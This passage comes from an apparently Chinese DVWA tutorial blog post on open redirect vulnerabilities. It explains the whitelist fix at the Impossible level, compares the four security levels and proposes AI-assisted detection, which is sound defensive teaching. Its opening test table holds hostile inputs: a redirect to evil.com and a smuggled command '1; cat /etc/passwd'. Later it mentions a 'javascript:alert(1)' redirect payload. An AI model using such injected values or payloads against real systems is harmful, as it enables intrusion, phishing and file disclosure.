https://evil.com ❌ false --- 200 "Missing redirect target."
1; cat /etc/passwd ❌ false --- 200 "Missing redirect target."
`` (空) ❌ false --- 200 "Missing redirect target."

注意:非法输入返回 HTTP 200 而非 500,因为 Impossible 代码未显式设置 http_response_code(500)。这是设计选择------Impossible 的重心在"不跳转"而非"报错码"。

③ 为什么 Impossible 级别是安全的?

关键在于白名单验证策略:

text 复制代码
用户输入: 1 → 重定向到 info.php?id=1 ✅
用户输入: 2 → 重定向到 info.php?id=2 ✅
用户输入: 99 → 重定向到 https://digi.ninja ✅
用户输入: 100 → 显示 Unknown redirect target. ❌
用户输入: http://evil.com → is_numeric() 失败 ❌

一句话总结:Impossible 级别通过白名单验证和类型检查,使开放重定向攻击变得 "Impossible"。

4、AI视角下的开放重定向检测

AI 自动化检测:零攻击面的判定与白名单范式的识别

Impossible 级别是 AI 自动化检测的"完美终点"------当 AI 对一个端点执行了全部 payload 矩阵后,发现零次 302 到外部域,即可自动标注该端点为"无开放重定向"。

(1)零攻击面判定流程与白名单识别

AI 的零攻击面判定流程:

  1. 全量 payload 矩阵测试:18 种 payload(覆盖绝对 URL、协议相对、反斜杠、伪协议、子串绕过等类别)逐个发送
  2. 结果统计:2 个 safe(ID 1/2 → 站内跳转)+ 1 个 whitelist_external(ID 99 → digi.ninja)+ 15 个 blocked
  3. 攻击面计算:0 个 open_redirect,0 个 bypass
  4. 自动标注verdict = SECURE

AI 对 redirect=99 的白名单识别 ------AI 在测试 redirect=99 时观察到 302 → https://digi.ninja。按照基础判定逻辑(302 + 外部域 = open redirect),这会被标为漏洞。AI 的处理:

  1. 输入语义分析99 是数字 ID,不是 URL------用户没有传入 https://digi.ninja,用户传入的是一个整数
  2. 源码对照switch 中的 case 99: $target = "https://digi.ninja" 是开发者硬编码的白名单条目
  3. 用户可控性评估 :用户只能选择传 99 或不传 99,无法修改 digi.ninja 为其他域名
  4. 重新标注whitelist_external(白名单外部跳转),非 open_redirect

这种判定能力是 AI 相比静态规则扫描的核心优势------规则只看"302 + 外部域",AI 还看输入与输出的因果关系:用户输入了什么?输出中哪些部分是用户可控的?

AI 对白名单范式的识别------AI 在审阅 Impossible 源码时,会自动识别出"服务端白名单映射"这一安全范式,并提取其特征:

text 复制代码
特征: 
  1. 用户输入经过 is_numeric / is_int 类型验证
  2. intval() 强制类型转换
  3. switch/case 白名单枚举
  4. 目标值由服务端硬编码
  5. 用户输入从不直接接触输出(header)

当 AI 在其他项目中看到同样的模式时,可以直接标注"白名单映射范式,开放重定向风险极低"------这种范式识别能力让 AI 的审计效率随经验积累而提升。

(2)AI 的"防御演进"总结

将四个级别的 AI 检测结果做最终汇总:

级别 防护范式 AI 判定 绕过 payload 数 根因
LOW 无防护 VULNERABLE 8 用户输入直接拼入 Location
MEDIUM 黑名单正则 VULNERABLE 4 正则无法覆盖所有 URL 格式
HIGH 子串白名单 VULNERABLE 4 strpos 不区分 URL 结构
Impossible 服务端白名单映射 SECURE 0 用户输入不接触 Location

核心规律 :从 LOW 到 Impossible,安全性的提升不来自于"更多的检查",而来自于用户输入与输出之间隔离程度的提升。LOW 是"直连"(输入 = 输出),Impossible 是"完全隔离"(输入仅作索引,输出由服务端决定)。中间级别试图在"直连"上加过滤层,但过滤层永远有缺口------只有彻底断开输入与输出的直连关系,才能实现零攻击面。

5、Impossible级别------小结

Impossible 级别展示了白名单验证的正确做法:

  • 类型验证 :使用 is_numeric() 限制输入类型
  • 类型转换intval() 强制转为整数,防类型混淆
  • 白名单映射 :使用 switch 映射预定义 URL
  • 拒绝其他输入:拒绝所有白名单外的值
  • 服务端控制目标$target 由服务端硬编码,用户输入不接触 Location
  • 严格匹配:确保只有预定义 URL 可访问

Impossible 级别展示了开放重定向的正确修复范式:用户输入一个标识符(数字 ID),服务端用 ID 查表得到目标 URL,目标 URL 由开发者完全控制 。这种模式将用户输入从"URL 本身"降级为"选择项",用户能做的最危险的事就是传入一个不在白名单中的 ID------而那只会被 default 分支拒绝。没有 payload、没有绕过、没有攻击面。

一句话总结:Impossible 级别通过白名单验证和类型检查,从根本上杜绝了开放重定向,使攻击变得 "Impossible"。

六、对比(LOW vs MEDIUM vs HIGH vs Impossible)

1、防护策略演进对比

防护维度 LOW 级别 MEDIUM 级别 HIGH 级别 Impossible 级别
输入验证 ❌ 无 ⚠️ 正则过滤 ⚠️ 字符串包含 ✅ 数字验证 + 白名单
验证方式 preg_match() strpos() is_numeric() + switch
用户输入 → Location 直接拼接 拼接(过滤后) 拼接(过滤后) 不接触
绕过 payload 数 8+ 4 4 0
防护增量 --- +2 个拦截 +4 个拦截 全部拦截
范式转变 直连 黑名单叠加 白名单思路 输入/输出隔离
绕过难度 极低 极高
防御策略 无防御 弱过滤 弱过滤 白名单验证

2、攻击面变化分析

攻击类型 LOW MEDIUM HIGH Impossible
任意 URL 重定向 ✅ 直接利用 ✅ 可绕过 ✅ 可绕过 ❌ 白名单拒绝
外部站点重定向 ✅ 直接利用 ✅ 可绕过 ✅ 可绕过 ❌ 白名单拒绝
参数注入绕过 N/A N/A ✅ 可绕过 ❌ 数字验证
编码绕过 ✅ 直接利用 ✅ 可绕过 ✅ 可绕过 ❌ 数字验证
伪协议(XSS) ✅ 直接利用 ✅ 可绕过 ❌ 拦截 ❌ 数字验证

攻击面可视化

text 复制代码
LOW       ────────────────────────────────────────────── (全开放)
MEDIUM    ──────────────[http://|https://]────────────── (拦2种前缀)
HIGH      ───[不含info.php]──────────────────────────── (拦不含子串的)
Impossible ═════════════════════════════════════════════ (全封闭)

3、防御策略演进路径

text 复制代码
LOW 级别                MEDIUM 级别               HIGH 级别
    │                        │                         │
    │  ❌ 无任何验证          │  ⚠️ 正则过滤            │  ⚠️ 字符串包含
    │  ❌ 无防护              │  ⚠️ 可绕过              │  ⚠️ 可绕过
    │                        │                         │
    ▼                        ▼                         ▼
  "裸奔"阶段            "弱过滤"阶段              "弱检查"阶段
  攻击成本:极低        攻击成本:低              攻击成本:低

                              Impossible 级别
                              ┌─────────────────────────────────┐
                              │  ✅ 数字验证 (is_numeric)       │
                        ──►  │  ✅ 白名单映射 (switch)          │
                              │  ✅ 拒绝所有其他输入            │
                              └─────────────────────────────────┘
                                             │
                                             ▼
                                      "白名单"阶段
                                       攻击成本:极高

4、开放重定向防御的核心原则

原则 说明 实现级别
白名单验证 只允许预定义的合法 URL Impossible
类型验证 对用户输入进行类型检查 Impossible
映射控制 使用 ID 映射到 URL Impossible
拒绝其他输入 拒绝所有非白名单输入 Impossible
避免用户控制 不要让用户直接控制重定向目标 架构级
输入/输出隔离 用户输入不接触 Location Impossible

关键启发

  1. 黑名单是渐进式修补,白名单是终极解决 :MEDIUM 的正则可以被无限扩展(加上 //\\@...),但永远补不完;Impossible 的 switch 只需列出允许的选项,不需要枚举禁止的格式。
  2. 函数选择决定安全等级strpos(子串)< substr(前缀)< parse_url(URL 结构)< switch + ID(服务端控制)。不是"加更多检查",而是"选对函数"。
  3. 输入与输出的隔离是终极防护 :LOW 中用户输入就是输出的一部分;Impossible 中用户输入只是 switch 的条件,输出完全由服务端决定。隔离程度 = 安全程度
  4. 开放重定向可以升级为 XSSjavascript:alert(1) 作为重定向目标在 LOW 和 MEDIUM 中都返回 302,将开放重定向升级为潜在的 XSS。防护开放重定向也是在防 XSS。

七、总结

1、漏洞全景回顾

层级 LOW 级别 MEDIUM 级别 HIGH 级别 Impossible 级别
输入层 🔴 无验证 🟠 正则过滤 🟠 字符串包含 🟢 数字验证 + 白名单
处理层 🔴 直接重定向 🔴 直接重定向 🔴 直接重定向 🟢 白名单映射
输出层 🔴 任意重定向 🔴 任意重定向 🔴 任意重定向 🟢 仅白名单 URL

2、核心防御建议优先级

text 复制代码
高优先级(必须修复)
    │
    ├── ① 使用白名单验证【LOW→IMP】
    ├── ② 不要允许用户控制重定向目标【LOW→IMP】
    └── ③ 使用数字 ID 映射 URL【LOW→IMP】

中优先级(强烈建议)
    │
    ├── ④ 实施类型验证【MEDIUM→IMP】
    ├── ⑤ 拒绝所有非白名单输入【HIGH→IMP】
    └── ⑥ 使用正则表达式进行严格匹配

低优先级(可选优化)
    │
    ├── ⑦ 部署 AI 重定向检测
    ├── ⑧ 实施重定向日志审计
    └── ⑨ 定期进行重定向安全测试

DVWA 开放重定向模块用四个级别演示了一条清晰的防御演进路径:

  • LOW 展示了"什么都不做"的后果------一行 header("location: " . $_GET['redirect']) 就是完整的漏洞。
  • MEDIUM 展示了黑名单的天花板------正则只能拦截已知模式,而 URL 的变体是无穷的。
  • HIGH 展示了"正确的思路 + 错误的函数"------白名单思路对了,但 strpos 做的是子串匹配不是 URL 结构匹配。
  • Impossible 展示了终极方案------用户输入一个 ID,服务端查表决定目标,输入与输出完全隔离。

3、关键启发

  • 白名单验证是最可靠的防御方式:LOW 到 HIGH 级别的各种过滤方式都可以被绕过,只有白名单验证才是根本解决方案。
  • 类型验证能有效减少攻击面 :Impossible 级别通过 is_numeric() 限制输入类型,大幅减少了攻击向量。
  • 映射控制优于用户控制:用数字 ID 映射预定义 URL,而不是让用户直接提供 URL。
  • 开放重定向的危害常被低估:开放重定向不仅是钓鱼攻击的工具,还可以配合 XSS、CSRF 等漏洞放大攻击效果。在 OAuth 流中可达高危(OWASP A01:2021 Broken Access Control 子类)。

四个级别共同传递的核心原则是:不要让用户输入直接或间接地决定 Location 头的值。如果必须让用户选择跳转目标,让用户选择的是一个编号,而非一个 URL。


八、AI增强防御建议

1、智能重定向检测

传统方案 AI 增强方案
基于正则表达式的过滤 基于 URL 语义的深度分析
静态黑名单/白名单 动态学习的自适应策略
容易被绕过 识别编码、混淆等绕过手法

实现思路

  • 收集正常业务中的重定向 URL,建立合法 URL 模式基线
  • 使用机器学习模型分析重定向 URL 的安全性
  • 识别偏离正常模式的异常重定向并触发告警

AI 可以部署为持续运行的检测系统,定期对应用的所有重定向端点执行 payload 矩阵测试:

  1. 端点自动发现 :爬取应用页面,提取所有含 redirecturltotargetnext 等参数的链接
  2. payload 矩阵自动生成:根据参数名和上下文,从预置的 payload 库中选择合适的测试向量
  3. 302 + 外部域判定:核心判定逻辑简洁高效,误报率极低
  4. 白名单识别:对 302 到外部域的情况,分析输入是否为 ID(而非 URL),目标是否在已知白名单中

2、基于域名的智能检测

特征维度 合法重定向 开放重定向攻击
目标域名 与当前站点相同 完全不同
域名信誉 高(可信站点) 低(恶意站点)
域名相似度 完全匹配 相似但不同(如 g00gle.com
URL 结构 符合业务模式 异常模式

实现思路

  • 构建动态域名白名单
  • 使用 AI 分析域名的相似度,识别仿冒域名(如 g00gle.compaypa1.com
  • 检测 URL 结构是否符合业务模式
  • 信誉评估:检查目标域名的安全信誉

3、代码审计集成

AI 在代码审计阶段(CI/CD pipeline)即可检测开放重定向风险:

  1. 危险函数检测 :搜索 header("location: " 的所有调用点,检查拼接来源
  2. 数据流追踪 :从 $_GET/$_POST 追踪到 header() 的数据流,判断中间是否有充分校验
  3. 函数级评估 :看到 strpos 做重定向校验 → 标注"子串匹配风险";看到 parse_url → 标注"URL 结构匹配,检查 path";看到 switch + intval → 标注"安全"
  4. 修复建议生成 :自动生成从 strposparse_urlswitch 的升级代码

4、AI 防御架构图

text 复制代码
┌─────────────────────────────────────────────────────────────────────────┐
│                      重定向 AI 增强防御架构                            │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  ┌─────────────┐    ┌─────────────┐    ┌─────────────┐               │
│  │   输入层      │───▶│   检测层     │───▶│   响应层     │               │
│  │  参数验证   │    │  域名分析   │    │  白名单重定向│               │
│  │  类型检查   │    │  相似度检测  │    │  拒绝访问   │               │
│  │  格式校验   │    │  信誉评估   │    │  告警通知   │               │
│  └─────────────┘    └─────────────┘    └─────────────┘               │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

5、实施优先级建议

优先级 措施 实施难度 防御效果
P0 将所有 header("location: " . $user_input) 改为 ID 映射
P0 数字类型验证(is_numeric + intval
P1 如果无法改 ID 映射,使用 parse_url + path 白名单
P1 部署 AI 检测系统,定期 payload 矩阵扫描
P2 域名信誉检测
P2 相似度分析(防仿冒域名)
P3 CI/CD 集成代码审计,拦截 header + user_input 组合
P3 行为分析(异常跳转、频率监控)

6、总结

AI 时代的开放重定向防御,不是用 AI 替代传统防御,而是用 AI 增强传统防御。

  • 传统防御:提供基础安全基线(白名单验证、类型检查)
  • AI 增强:提供智能化的域名分析、相似度检测和自适应响应

二者结合,才能构建真正 robust 的开放重定向防御体系。

免责声明:本文所述内容仅供安全研究与学习交流使用,所有测试均在本地授权靶场(DVWA)环境中进行。未经授权,严禁将文中技术用于任何非法目的。

📌 本文是专栏「DVWA通关全记录:从漏洞复现到安全防御」的第 17 篇文章。

如果你在阅读过程中有任何疑问,欢迎在评论区留言交流。😊

相关推荐
天道jimmy2 小时前
VulnHub 系列:HA, Wordy
linux·服务器·web安全
奇牙coding1233 小时前
GPT-6-Astra API 接入教程:OpenRouter 路由配置 + Python/curl 示例 + 静默降级踩坑
开发语言·python·gpt·ai
2601_962077535 小时前
程序员会消失吗?
ai·程序员·职业发展·未来趋势·技术变革
chuntian_tester7 小时前
AI自动化第3步【用例设计】
人工智能·测试工具·ai·自动化
科技每日热闻7 小时前
中国企业出海开展业务,如何挑选可安全合规使用国际大模型的云平台?Amazon Bedrock 在同一平台完成国际模型接入、区域选择与合规治理
大数据·人工智能·安全·ai
探索云原生7 小时前
Kueue + HAMi vGPU 实战:显存与算力配额管理
docker·ai·云原生·kubernetes·gpu
UCloud_TShare8 小时前
优刻得孔明智算平台携手openFuyao,加速多样化算力规模化落地
人工智能·ai·大模型